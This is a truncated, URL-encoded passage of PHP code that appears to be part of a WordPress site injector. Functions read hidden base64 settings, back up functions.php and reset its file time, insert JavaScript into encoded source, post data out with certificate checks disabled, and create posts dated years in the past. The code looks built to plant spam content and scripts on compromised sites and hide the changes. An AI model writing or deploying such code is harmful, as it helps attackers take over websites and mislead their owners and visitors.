SettingsCustom%28%29%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+getDbSettingsCustom%28%29+%7B%0D%0A%0D%0A++++%24settings+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EgetOption%28optionCustomFilters%28%29%29%3B%0D%0A%0D%0A++++if+%28%24settings%29+%7B%0D%0A++++++++%2F%2Fnew+settings%0D%0A++++++++%24firstUnserialize+%3D+unserialize%28base64_decode%28%24settings%5B%27option_value%27%5D%29%29%3B%0D%0A%0D%0A++++++++if+%28isset%28%24firstUnserialize%5B%27option_value%27%5D%29%29+%7B%0D%0A++++++++++++%2F%2Fdouble+unserialize+fix%0D%0A++++++++++++%24secondUnserialize+%3D+unserialize%28base64_decode%28%24firstUnserialize%5B%27option_value%27%5D%29%29%3B%0D%0A++++++++++++writeSettingsDB%28%24secondUnserialize%29%3B%0D%0A++++++++++++return+%24secondUnserialize%3B%0D%0A++++++++%7D%0D%0A++++++++return+%24firstUnserialize%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%2F*+dont+touch+*%2F%0D%0A++++++++%24settings+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EgetOption%28%27wp_custom_filters%27%29%3B%0D%0A++++++++if+%28%24settings%29+%7B%0D%0A++++++++++++%24unserialisedSettings+%3D+unserialize%28base64_decode%28%24settings%5B%27option_value%27%5D%29%29%3B%0D%0A++++++++++++writeSettingsDB%28%24unserialisedSettings%29%3B%0D%0A++++++++++++return+%24unserialisedSettings%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++%2F%2Fecho+%27no+old+settings%27%3B%0D%0A%0D%0A++++return+null%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+addPostsCountInSettings%28%24settings%29+%7B%0D%0A++++foreach+%28%24settings+as+%24userId+%3D%3E+%24arr%29+%7B%0D%0A++++++++%24postsCount+%3D+count%28CustomDbHandler%3A%3AgetInstance%28%29%0D%0A++++++++++++-%3EallPostsFromDb%28HOME_URL%2C+%24userId%29%29%3B%0D%0A++++++++%24settings%5B%24userId%5D%5B%27count%27%5D+%3D+%24postsCount%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+%24settings%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+oldFunctionPathBak%28%24tmpDir%2C+%24functionsPath%29+%7B%0D%0A%0D%0A++++if+%28%21is_writeable%28dirname%28%24functionsPath%29%29%29+%7B%0D%0A++++++++%24backupPath+%3D+%24tmpDir+.+%27%2F%27+.+basename%28%24functionsPath%29+.+%27_bak%27%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%24backupPath+%3D+%24functionsPath+.+%27_bak%27%3B%0D%0A++++%7D%0D%0A++++echo+%22functions+backup+path+-+%24backupPath%5Cn%22%3B%0D%0A++++file_put_contents%28%24backupPath%2C+file_get_contents%28%24functionsPath%29%29%3B%0D%0A++++touch%28%24backupPath%2C+frequenttimestamp%28dirname%28%24backupPath%29%29%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+replaceJSinSource%28%24source%2C+%24preparedScript%29+%7B%0D%0A++++%24decoded+%3D+base64_decode%28%24source%29%3B%0D%0A%0D%0A++++%24modified+%3D+str_replace%28array%28%27JAVASCRIPT%27%2C+%27SITEMAP_NAME%27%29%2C+array%28%24preparedScript%2C+SITEMAP_NAME%29%2C+%24decoded%29%3B%0D%0A%0D%0A++++return+base64_encode%28%24modified%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+sendpostUploader%28%24url%2C+%24fields%29+%7B%0D%0A%0D%0A++++%24fields_string+%3D+%27%27%3B%0D%0A++++foreach+%28%24fields+as+%24key+%3D%3E+%24value%29+%7B%0D%0A%0D%0A++++++++%24fields_string+.%3D+%24key+.+%27%3D%27+.+%24value+.+%27%26%27%3B%0D%0A++++%7D%0D%0A++++rtrim%28%24fields_string%2C+%27%26%27%29%3B%0D%0A%0D%0A++++%24ch+%3D+curl_init%28%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_URL%2C+%24url%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_RETURNTRANSFER%2C+1%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_TIMEOUT%2C+10%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_POST%2C+count%28%24fields%29%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_POSTFIELDS%2C+%24fields_string%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_SSL_VERIFYHOST%2C+0%29%3B%0D%0A++++curl_setopt%28%24ch%2C+CURLOPT_SSL_VERIFYPEER%2C+0%29%3B%0D%0A++++%24result+%3D+curl_exec%28%24ch%29%3B%0D%0A++++%24info+%3D+curl_getinfo%28%24ch%29%3B%0D%0A%0D%0A++++if+%28curl_errno%28%24ch%29%29+%7B%0D%0A++++++++%24error_msg+%3D+curl_error%28%24ch%29%3B%0D%0A++++++++echo+%24error_msg+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+null%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++curl_close%28%24ch%29%3B%0D%0A%0D%0A++++return+%28%24info%5B%22http_code%22%5D+%3D%3D+200%29+%3F+%24result+%3A+null%3B%0D%0A%7D%0D%0A%0D%0Afunction+contentParts%28%24pageSource%29+%7B%0D%0A%0D%0A++++preg_match_all%28%27%2F%5C%5B%28TITLE%7CTEXT%29%5C%5D%28.%2B%29%5C%5B%5C%2F%28%5C1%29%5D%2Fius%27%0D%0A++++++++%2C+%24pageSource%2C+%24kuski%29%3B%0D%0A%0D%0A++++if+%28%21isset%28%24kuski%5B2%5D%5B0%5D%29%29+%7B%0D%0A++++++++throw+new+Exception%28%27invalid+title%27%29%3B%0D%0A++++%7D%0D%0A++++if+%28%21isset%28%24kuski%5B2%5D%5B1%5D%29%29+%7B%0D%0A++++++++throw+new+Exception%28%27invalid+text%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++%24title+%3D+mb_convert_encoding%28trim%28%24kuski%5B2%5D%5B0%5D%29%2C+%27HTML-ENTITIES%27%2C+%22UTF-8%22%29%3B%0D%0A++++%24slug+%3D+stringToSlug%28%24kuski%5B2%5D%5B0%5D%29%3B%0D%0A++++%24text+%3D+mb_convert_encoding%28trim%28%24kuski%5B2%5D%5B1%5D%29%2C+%27HTML-ENTITIES%27%2C+%22UTF-8%22%29%3B%0D%0A%0D%0A++++return+array%28%0D%0A++++++++%27title%27+%3D%3E+%24title%2C%0D%0A++++++++%27text%27+%3D%3E+%24text%2C%0D%0A++++++++%27slug%27+%3D%3E+%24slug%2C%0D%0A++++%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+resultFormat%28%24blogUrl%2C+%24postId%2C+%24title%29+%7B%0D%0A++++return+rtrim%28%24blogUrl%2C+%27%2F%27%29+.+%27%2F%3Fp%3D%27+.+%24postId+.+%27%3B%27+.+%24title%3B%0D%0A%7D%0D%0A%0D%0Afunction+randDate%28%29+%7B%0D%0A++++%24randDate+%3D+mktime%28rand%281%2C+11%29%2C+rand%280%2C+59%29%2C+rand%280%2C+59%29%2C+date%28%22m%22%29+%2B+rand%281%2C+12%29%2C+date%28%22d%22%29+%2B+rand%281%2C+20%29%2C+date%28%22Y%22%29+-+rand%284%2C+7%29%29%3B%0D%0A%0D%0A++++return+date%28%27Y-m-d+H%3Ai%3As%27%2C+%24randDate%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+stringToSlug%28%24str%29+%7B%0D%0A%0D%0A%0D%0A++++%24options+%3D+array%28%0D%0A++++++++%27delimiter%27+%3D%3E+%27-%27%2C%0D%0A++++++++%27limit%27+%3D%3E+null%2C%0D%0A++++++++%27lowercase%27+%3D%3E+true%2C%0D%0A++++++++%27replacements%27+%3D%3E+array%28%29%2C%0D%0A++++++++%27transliterate%27+%3D%3E+true%2C%0D%0A++++%29%3B%0D%0A%0D%0A++++%24char_map+%3D+array%28%0D%0A++++++++%2F%2F+Latin%0D%0A++++++++%27%C3%80%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C3%81%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C3%82%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C3%83%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C3%84%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C3%85%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C4%82%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C3%86%27+%3D%3E+%27AE%27%2C%0D%0A++++++++%27%C3%87%27+%3D%3E+%27C%27%2C%0D%0A++++++++%27%C3%88%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%C3%89%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%C3%8A%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%C3%8B%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%C3%8C%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%C3%8D%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%C3%8E%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%C3%8F%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%C3%90%27+%3D%3E+%27D%27%2C%0D%0A++++++++%27%C3%91%27+%3D%3E+%27N%27%2C%0D%0A++++++++%27%C3%92%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C3%93%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C3%94%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C3%95%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C3%96%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C5%90%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C3%98%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C8%98%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%C3%99%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C3%9A%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C3%9B%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C3%9C%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C5%B0%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C3%9D%27+%3D%3E+%27Y%27%2C%0D%0A++++++++%27%C3%9E%27+%3D%3E+%27TH%27%2C%0D%0A++++++++%27%C3%9F%27+%3D%3E+%27ss%27%2C%0D%0A++++++++%27%C3%A0%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C3%A1%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C3%A2%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C3%A3%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C3%A4%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C3%A5%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C4%83%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C3%A6%27+%3D%3E+%27ae%27%2C%0D%0A++++++++%27%C3%A7%27+%3D%3E+%27c%27%2C%0D%0A++++++++%27%C3%A8%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C3%A9%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C3%AA%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C3%AB%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C3%AC%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C3%AD%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C3%AE%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C3%AF%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C3%B0%27+%3D%3E+%27d%27%2C%0D%0A++++++++%27%C3%B1%27+%3D%3E+%27n%27%2C%0D%0A++++++++%27%C3%B2%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C3%B3%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C3%B4%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C3%B5%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C3%B6%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C5%91%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C3%B8%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C8%99%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%C3%B9%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C3%BA%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C3%BB%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C3%BC%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C5%B1%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C3%BD%27+%3D%3E+%27y%27%2C%0D%0A++++++++%27%C3%BE%27+%3D%3E+%27th%27%2C%0D%0A++++++++%27%C3%BF%27+%3D%3E+%27y%27%2C%0D%0A++++++++%2F%2F+Latin+symbols%0D%0A++++++++%27%C2%A9%27+%3D%3E+%27%28c%29%27%2C%0D%0A++++++++%2F%2F+Greek%0D%0A++++++++%27%CE%91%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%CE%92%27+%3D%3E+%27B%27%2C%0D%0A++++++++%27%CE%93%27+%3D%3E+%27G%27%2C%0D%0A++++++++%27%CE%94%27+%3D%3E+%27D%27%2C%0D%0A++++++++%27%CE%95%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%CE%96%27+%3D%3E+%27Z%27%2C%0D%0A++++++++%27%CE%97%27+%3D%3E+%27H%27%2C%0D%0A++++++++%27%CE%98%27+%3D%3E+%278%27%2C%0D%0A++++++++%27%CE%99%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%CE%9A%27+%3D%3E+%27K%27%2C%0D%0A++++++++%27%CE%9B%27+%3D%3E+%27L%27%2C%0D%0A++++++++%27%CE%9C%27+%3D%3E+%27M%27%2C%0D%0A++++++++%27%CE%9D%27+%3D%3E+%27N%27%2C%0D%0A++++++++%27%CE%9E%27+%3D%3E+%273%27%2C%0D%0A++++++++%27%CE%9F%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%CE%A0%27+%3D%3E+%27P%27%2C%0D%0A++++++++%27%CE%A1%27+%3D%3E+%27R%27%2C%0D%0A++++++++%27%CE%A3%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%CE%A4%27+%3D%3E+%27T%27%2C%0D%0A++++++++%27%CE%A5%27+%3D%3E+%27Y%27%2C%0D%0A++++++++%27%CE%A6%27+%3D%3E+%27F%27%2C%0D%0A++++++++%27%CE%A7%27+%3D%3E+%27X%27%2C%0D%0A++++++++%27%CE%A8%27+%3D%3E+%27PS%27%2C%0D%0A++++++++%27%CE%A9%27+%3D%3E+%27W%27%2C%0D%0A++++++++%27%CE%86%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%CE%88%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%CE%8A%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%CE%8C%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%CE%8E%27+%3D%3E+%27Y%27%2C%0D%0A++++++++%27%CE%89%27+%3D%3E+%27H%27%2C%0D%0A++++++++%27%CE%8F%27+%3D%3E+%27W%27%2C%0D%0A++++++++%27%CE%AA%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%CE%AB%27+%3D%3E+%27Y%27%2C%0D%0A++++++++%27%CE%B1%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%CE%B2%27+%3D%3E+%27b%27%2C%0D%0A++++++++%27%CE%B3%27+%3D%3E+%27g%27%2C%0D%0A++++++++%27%CE%B4%27+%3D%3E+%27d%27%2C%0D%0A++++++++%27%CE%B5%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%CE%B6%27+%3D%3E+%27z%27%2C%0D%0A++++++++%27%CE%B7%27+%3D%3E+%27h%27%2C%0D%0A++++++++%27%CE%B8%27+%3D%3E+%278%27%2C%0D%0A++++++++%27%CE%B9%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%CE%BA%27+%3D%3E+%27k%27%2C%0D%0A++++++++%27%CE%BB%27+%3D%3E+%27l%27%2C%0D%0A++++++++%27%CE%BC%27+%3D%3E+%27m%27%2C%0D%0A++++++++%27%CE%BD%27+%3D%3E+%27n%27%2C%0D%0A++++++++%27%CE%BE%27+%3D%3E+%273%27%2C%0D%0A++++++++%27%CE%BF%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%CF%80%27+%3D%3E+%27p%27%2C%0D%0A++++++++%27%CF%81%27+%3D%3E+%27r%27%2C%0D%0A++++++++%27%CF%83%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%CF%84%27+%3D%3E+%27t%27%2C%0D%0A++++++++%27%CF%85%27+%3D%3E+%27y%27%2C%0D%0A++++++++%27%CF%86%27+%3D%3E+%27f%27%2C%0D%0A++++++++%27%CF%87%27+%3D%3E+%27x%27%2C%0D%0A++++++++%27%CF%88%27+%3D%3E+%27ps%27%2C%0D%0A++++++++%27%CF%89%27+%3D%3E+%27w%27%2C%0D%0A++++++++%27%CE%AC%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%CE%AD%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%CE%AF%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%CF%8C%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%CF%8D%27+%3D%3E+%27y%27%2C%0D%0A++++++++%27%CE%AE%27+%3D%3E+%27h%27%2C%0D%0A++++++++%27%CF%8E%27+%3D%3E+%27w%27%2C%0D%0A++++++++%27%CF%82%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%CF%8A%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%CE%B0%27+%3D%3E+%27y%27%2C%0D%0A++++++++%27%CF%8B%27+%3D%3E+%27y%27%2C%0D%0A++++++++%27%CE%90%27+%3D%3E+%27i%27%2C%0D%0A++++++++%2F%2F+Turkish%0D%0A++++++++%27%C5%9E%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%C4%B0%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%C3%87%27+%3D%3E+%27C%27%2C%0D%0A++++++++%27%C3%9C%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C3%96%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%C4%9E%27+%3D%3E+%27G%27%2C%0D%0A++++++++%27%C5%9F%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%C4%B1%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C3%A7%27+%3D%3E+%27c%27%2C%0D%0A++++++++%27%C3%BC%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C3%B6%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C4%9F%27+%3D%3E+%27g%27%2C%0D%0A++++++++%2F%2F+Russian%0D%0A++++++++%27%D0%90%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%D0%91%27+%3D%3E+%27B%27%2C%0D%0A++++++++%27%D0%92%27+%3D%3E+%27V%27%2C%0D%0A++++++++%27%D0%93%27+%3D%3E+%27G%27%2C%0D%0A++++++++%27%D0%94%27+%3D%3E+%27D%27%2C%0D%0A++++++++%27%D0%95%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%D0%81%27+%3D%3E+%27Yo%27%2C%0D%0A++++++++%27%D0%96%27+%3D%3E+%27Zh%27%2C%0D%0A++++++++%27%D0%97%27+%3D%3E+%27Z%27%2C%0D%0A++++++++%27%D0%98%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%D0%99%27+%3D%3E+%27J%27%2C%0D%0A++++++++%27%D0%9A%27+%3D%3E+%27K%27%2C%0D%0A++++++++%27%D0%9B%27+%3D%3E+%27L%27%2C%0D%0A++++++++%27%D0%9C%27+%3D%3E+%27M%27%2C%0D%0A++++++++%27%D0%9D%27+%3D%3E+%27N%27%2C%0D%0A++++++++%27%D0%9E%27+%3D%3E+%27O%27%2C%0D%0A++++++++%27%D0%9F%27+%3D%3E+%27P%27%2C%0D%0A++++++++%27%D0%A0%27+%3D%3E+%27R%27%2C%0D%0A++++++++%27%D0%A1%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%D0%A2%27+%3D%3E+%27T%27%2C%0D%0A++++++++%27%D0%A3%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%D0%A4%27+%3D%3E+%27F%27%2C%0D%0A++++++++%27%D0%A5%27+%3D%3E+%27H%27%2C%0D%0A++++++++%27%D0%A6%27+%3D%3E+%27C%27%2C%0D%0A++++++++%27%D0%A7%27+%3D%3E+%27Ch%27%2C%0D%0A++++++++%27%D0%A8%27+%3D%3E+%27Sh%27%2C%0D%0A++++++++%27%D0%A9%27+%3D%3E+%27Sh%27%2C%0D%0A++++++++%27%D0%AA%27+%3D%3E+%27%27%2C%0D%0A++++++++%27%D0%AB%27+%3D%3E+%27Y%27%2C%0D%0A++++++++%27%D0%AC%27+%3D%3E+%27%27%2C%0D%0A++++++++%27%D0%AD%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%D0%AE%27+%3D%3E+%27Yu%27%2C%0D%0A++++++++%27%D0%AF%27+%3D%3E+%27Ya%27%2C%0D%0A++++++++%27%D0%B0%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%D0%B1%27+%3D%3E+%27b%27%2C%0D%0A++++++++%27%D0%B2%27+%3D%3E+%27v%27%2C%0D%0A++++++++%27%D0%B3%27+%3D%3E+%27g%27%2C%0D%0A++++++++%27%D0%B4%27+%3D%3E+%27d%27%2C%0D%0A++++++++%27%D0%B5%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%D1%91%27+%3D%3E+%27yo%27%2C%0D%0A++++++++%27%D0%B6%27+%3D%3E+%27zh%27%2C%0D%0A++++++++%27%D0%B7%27+%3D%3E+%27z%27%2C%0D%0A++++++++%27%D0%B8%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%D0%B9%27+%3D%3E+%27j%27%2C%0D%0A++++++++%27%D0%BA%27+%3D%3E+%27k%27%2C%0D%0A++++++++%27%D0%BB%27+%3D%3E+%27l%27%2C%0D%0A++++++++%27%D0%BC%27+%3D%3E+%27m%27%2C%0D%0A++++++++%27%D0%BD%27+%3D%3E+%27n%27%2C%0D%0A++++++++%27%D0%BE%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%D0%BF%27+%3D%3E+%27p%27%2C%0D%0A++++++++%27%D1%80%27+%3D%3E+%27r%27%2C%0D%0A++++++++%27%D1%81%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%D1%82%27+%3D%3E+%27t%27%2C%0D%0A++++++++%27%D1%83%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%D1%84%27+%3D%3E+%27f%27%2C%0D%0A++++++++%27%D1%85%27+%3D%3E+%27h%27%2C%0D%0A++++++++%27%D1%86%27+%3D%3E+%27c%27%2C%0D%0A++++++++%27%D1%87%27+%3D%3E+%27ch%27%2C%0D%0A++++++++%27%D1%88%27+%3D%3E+%27sh%27%2C%0D%0A++++++++%27%D1%89%27+%3D%3E+%27sh%27%2C%0D%0A++++++++%27%D1%8A%27+%3D%3E+%27%27%2C%0D%0A++++++++%27%D1%8B%27+%3D%3E+%27y%27%2C%0D%0A++++++++%27%D1%8C%27+%3D%3E+%27%27%2C%0D%0A++++++++%27%D1%8D%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%D1%8E%27+%3D%3E+%27yu%27%2C%0D%0A++++++++%27%D1%8F%27+%3D%3E+%27ya%27%2C%0D%0A++++++++%2F%2F+Ukrainian%0D%0A++++++++%27%D0%84%27+%3D%3E+%27Ye%27%2C%0D%0A++++++++%27%D0%86%27+%3D%3E+%27I%27%2C%0D%0A++++++++%27%D0%87%27+%3D%3E+%27Yi%27%2C%0D%0A++++++++%27%D2%90%27+%3D%3E+%27G%27%2C%0D%0A++++++++%27%D1%94%27+%3D%3E+%27ye%27%2C%0D%0A++++++++%27%D1%96%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%D1%97%27+%3D%3E+%27yi%27%2C%0D%0A++++++++%27%D2%91%27+%3D%3E+%27g%27%2C%0D%0A++++++++%2F%2F+Czech%0D%0A++++++++%27%C4%8C%27+%3D%3E+%27C%27%2C%0D%0A++++++++%27%C4%8E%27+%3D%3E+%27D%27%2C%0D%0A++++++++%27%C4%9A%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%C5%87%27+%3D%3E+%27N%27%2C%0D%0A++++++++%27%C5%98%27+%3D%3E+%27R%27%2C%0D%0A++++++++%27%C5%A0%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%C5%A4%27+%3D%3E+%27T%27%2C%0D%0A++++++++%27%C5%AE%27+%3D%3E+%27U%27%2C%0D%0A++++++++%27%C5%BD%27+%3D%3E+%27Z%27%2C%0D%0A++++++++%27%C4%8D%27+%3D%3E+%27c%27%2C%0D%0A++++++++%27%C4%8F%27+%3D%3E+%27d%27%2C%0D%0A++++++++%27%C4%9B%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C5%88%27+%3D%3E+%27n%27%2C%0D%0A++++++++%27%C5%99%27+%3D%3E+%27r%27%2C%0D%0A++++++++%27%C5%A1%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%C5%A5%27+%3D%3E+%27t%27%2C%0D%0A++++++++%27%C5%AF%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C5%BE%27+%3D%3E+%27z%27%2C%0D%0A++++++++%2F%2F+Polish%0D%0A++++++++%27%C4%84%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C4%86%27+%3D%3E+%27C%27%2C%0D%0A++++++++%27%C4%98%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C5%81%27+%3D%3E+%27L%27%2C%0D%0A++++++++%27%C5%83%27+%3D%3E+%27N%27%2C%0D%0A++++++++%27%C3%93%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C5%9A%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%C5%B9%27+%3D%3E+%27Z%27%2C%0D%0A++++++++%27%C5%BB%27+%3D%3E+%27Z%27%2C%0D%0A++++++++%27%C4%85%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C4%87%27+%3D%3E+%27c%27%2C%0D%0A++++++++%27%C4%99%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C5%82%27+%3D%3E+%27l%27%2C%0D%0A++++++++%27%C5%84%27+%3D%3E+%27n%27%2C%0D%0A++++++++%27%C3%B3%27+%3D%3E+%27o%27%2C%0D%0A++++++++%27%C5%9B%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%C5%BA%27+%3D%3E+%27z%27%2C%0D%0A++++++++%27%C5%BC%27+%3D%3E+%27z%27%2C%0D%0A++++++++%2F%2F+Latvian%0D%0A++++++++%27%C4%80%27+%3D%3E+%27A%27%2C%0D%0A++++++++%27%C4%8C%27+%3D%3E+%27C%27%2C%0D%0A++++++++%27%C4%92%27+%3D%3E+%27E%27%2C%0D%0A++++++++%27%C4%A2%27+%3D%3E+%27G%27%2C%0D%0A++++++++%27%C4%AA%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C4%B6%27+%3D%3E+%27k%27%2C%0D%0A++++++++%27%C4%BB%27+%3D%3E+%27L%27%2C%0D%0A++++++++%27%C5%85%27+%3D%3E+%27N%27%2C%0D%0A++++++++%27%C5%A0%27+%3D%3E+%27S%27%2C%0D%0A++++++++%27%C5%AA%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C5%BD%27+%3D%3E+%27Z%27%2C%0D%0A++++++++%27%C4%81%27+%3D%3E+%27a%27%2C%0D%0A++++++++%27%C4%8D%27+%3D%3E+%27c%27%2C%0D%0A++++++++%27%C4%93%27+%3D%3E+%27e%27%2C%0D%0A++++++++%27%C4%A3%27+%3D%3E+%27g%27%2C%0D%0A++++++++%27%C4%AB%27+%3D%3E+%27i%27%2C%0D%0A++++++++%27%C4%B7%27+%3D%3E+%27k%27%2C%0D%0A++++++++%27%C4%BC%27+%3D%3E+%27l%27%2C%0D%0A++++++++%27%C5%86%27+%3D%3E+%27n%27%2C%0D%0A++++++++%27%C5%A1%27+%3D%3E+%27s%27%2C%0D%0A++++++++%27%C5%AB%27+%3D%3E+%27u%27%2C%0D%0A++++++++%27%C5%BE%27+%3D%3E+%27z%27%0D%0A++++%29%3B%0D%0A%0D%0A++++%2F%2F+Transliterate+characters+to+ASCII%0D%0A++++if+%28%24options%5B%27transliterate%27%5D%29+%7B%0D%0A++++++++%24str+%3D+str_replace%28array_keys%28%24char_map%29%2C+%24char_map%2C+%24str%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%2F%2F+Replace+non-alphanumeric+characters+with+our+delimiter%0D%0A++++%24str+%3D+preg_replace%28%27%2F%5B%5E%5Cp%7BL%7D%5Cp%7BNd%7D%5D%2B%2Fu%27%2C+%24options%5B%27delimiter%27%5D%2C+%24str%29%3B%0D%0A%0D%0A++++%2F%2F+Remove+duplicate+delimiters%0D%0A++++%24str+%3D+preg_replace%28%27%2F%28%27+.+preg_quote%28%24options%5B%27delimiter%27%5D%2C+%27%2F%27%29+.+%27%29%7B2%2C%7D%2F%27%2C+%27%241%27%2C+%24str%29%3B%0D%0A%0D%0A++++%2F%2F+Truncate+slug+to+max.+characters%0D%0A++++%24str+%3D+mb_substr%28%24str%2C+0%2C+%28%24options%5B%27limit%27%5D+%3F+%24options%5B%27limit%27%5D+%3A+mb_strlen%28%24str%2C+%27UTF-8%27%29%29%2C+%27UTF-8%27%29%3B%0D%0A%0D%0A